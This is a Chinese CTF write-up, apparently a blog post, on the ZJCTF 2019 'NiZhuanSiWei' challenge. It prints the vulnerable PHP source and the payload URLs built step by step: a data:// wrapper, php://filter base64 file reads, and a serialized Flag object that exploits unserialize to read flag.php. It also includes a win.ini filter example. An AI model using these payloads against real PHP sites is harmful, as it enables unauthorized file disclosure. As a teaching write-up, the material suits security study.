首页 > 其他分享 >[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

时间:2024-07-26 16:08:07浏览次数:9  
标签:password ZJCTF text base64 NiZhuanSiWei 2019 file php data

[ZJCTF 2019]NiZhuanSiWei

Step 1

开靶机,获得php源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

可知,读取text的内容需要是welcome to the zjctf,而file_get_contents()函数是用于将文件的内容读入到一个字符串中。

这时候就需要将$text伪造成一个文件,所以就要用到php伪协议中的data://协议,他的作用就是将字符串包装成一个文件来执行。

所以构造payload:

url/?text=data://text/plain,welcome to the zjctf

得到welcome to the zjctf的页面回显

Step 2

继续审计代码

include($file); //useless.php

该函数支持伪协议,而且if(preg_match("/flag/",$file))表示不能在file中出现flag。

构造出payload:

url/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

回显

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

base64解密

<?php
class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}  
?>  

Step 3

\(password = unserialize(\)password);
echo $password;

这个代码将

在序列化之后,赋值给password,password会被反序列化成原来的代码在赋值给password,然后echo $password,就相当于echo 了一个类,就会触发到我们写的代码里的__tostring()

然后我们将\(file=flag.php,这时`echo file_get_contents(\)this->file);`就能获得flag

<?php
class Flag{  //flag.php
    public $file="flag.php";
}
$a=new Flag;
echo serialize($a);
?>  

获得序列化后的代码,然后再构造payload:

url/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:

查看源代码获得flag

PHP伪协议

data伪协议

data 伪协议是一种用于内嵌数据的伪协议,它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中,从而减少 HTTP 请求的数量,并提高页面加载速度。data URI 的语法如下:

data:[] [;base64],
其中,mediatype 是媒体类型,例如 text/plain、image/jpeg、audio/mpeg 等;如果数据需要进行 base64 编码,则在 media type 后添加 ;base64 标记;data 是实际的数据内容。

php://filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用

本地文件无论allow_url_fopen,allow_url_include是否开启都可以使用,allow_url_fopen开启时文件操作函数里resource可以是远程的,allow_url_include也开启包含resource才可以是远程的。

用法:

php://filter/read=convert.base64-encode/resource=c:/windows/win.ini

其中

read是要执行的操作
convert.base64-encode的意思是读出的内容经过一次base64编码
resource后面跟的是读取内容的路径

参考

php伪协议-漏洞及其原理

标签:password,ZJCTF,text,base64,NiZhuanSiWei,2019,file,php,data
From: https://www.cnblogs.com/bolerat/p/18325565

相关文章

  • sqlserver2019--订阅发布
    一、连接数据库 1.查看sqlserver主机名称 2.通过SSMS工具连接sqlserver 二、发布1.复制--本地发布---右击选择新建发布 2.启动代理服务,为了防止自动启动失败,可以选择手动启动,然后去sqlserver服务器启动此服务 3.选择快照文件夹,如果是跨机器,需要共享文件夹(本次......
  • VP CSP-J2019 江西
    不是很理解为什么江西CSP单列一年,题目难度吊打CSP-J2024T1P5681[CSP-J2019江西]面积签到题,但需要注意面积相等情况#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;lla,b,c;intmain(){ cin>>a>>b>>c; if(a*a>b*c){ cout<<"Alice......
  • SQL Server 2019 中设置定时自动重启
    要在SQLServer2019中设置定时自动重启,可以使用Windows任务计划程序。下面是详细的步骤:步骤一:创建批处理文件打开记事本。输入以下内容:netstop"SQLServer(MSSQLSERVER)"netstart"SQLServer(MSSQLSERVER)"(如果使用的是命名实例,则需要将MSSQLSERVER替换为实......
  • 错误 1 error LNK2019: 无法解析的外部符号 _MQTTClient_create,该符号在函数 "protect
    前言全局说明错误1errorLNK2019:无法解析的外部符号_MQTTClient_create,该符号在函数"protected:virtualint__thiscallCmfc_mqttclientpoweronoffDlg::OnInitDialog(void)"(?OnInitDialog@Cmfc_mqttclientpoweronoffDlg@@MAEHXZ)中被引用一、说明环境:Windows1......
  • [SUCTF 2019]Pythonginx(url中的unicode漏洞引发的域名安全问题)
    @app.route('/getUrl',methods=['GET','POST'])defgetUrl():#从请求中获取url参数url=request.args.get("url")host=parse.urlparse(url).hostname#第一处检查主机名是否为'suctf.cc'ifhost=='s......
  • Solution - Atcoder Xmas2019E Sum of f(n)
    考虑\(F(n)=\sum\limits_{i=1}^nf_i=\sum\limits_{i=1}^n\sum\limits_{p\in\mathbb{P},k\ge1}[p^k|i]=\sum\limits_{p\in\mathbb{P},k\ge1}\lfloor\frac{n}{p^k}\rfloor\)。对于这个\(\lfloor\frac{n}{x}\rfloor\),一个比较经典的想法就是考虑对其......
  • Solution - Atcoder Xmas2019D Sum of (-1)^f(n).md
    对于\(f(i)=(-1)^{\sum\limits_jc_j}(i=\prod\limits_jp_j^{c_j}(p_j\in\mathbb{P}))\),一个比较特殊的值就是在\(i\in\mathbb{P}\)时有\(f(i)=-1\)。于是考虑PowerfulNumber筛,构造积性函数\(g\)使得对于\(i\in\mathbb{P}\)有\(g(p)=f(p)\)且\(g\)易......
  • [极客大挑战 2019]BuyFlag
    [极客大挑战2019]BuyFlag源代码的提示<!-- ~~~postmoneyandpassword~~~if(isset($_POST['password'])){ $password=$_POST['password']; if(is_numeric($password)){ echo"passwordcan'tbenumber</br>"; }elseif($p......
  • SQL2019收缩LDF的日志文件
    解决日志文件满造成SQL数据库无法写入文件问题1、打开MicrosoftSQLServerManagementStudio管理工具,右键你要压缩的数据库->任务->收缩->文件2、在“文件类型”选择“日志”,在“收缩操作”选择“在释放未使用的空间前重新组织页”,这里会给出一个允许收缩到的最小M数......
  • Visual Studio 2019使用SVN管理源代码
    原文链接:https://blog.csdn.net/g313105910/article/details/119964508第一章、下载安装VisualSVNforVisualStudio2019https://www.visualsvn.com/CSDN下载地址https://download.csdn.net/download/g313105910/21698281安装 完成 VisualStudio2019中已经包含了A......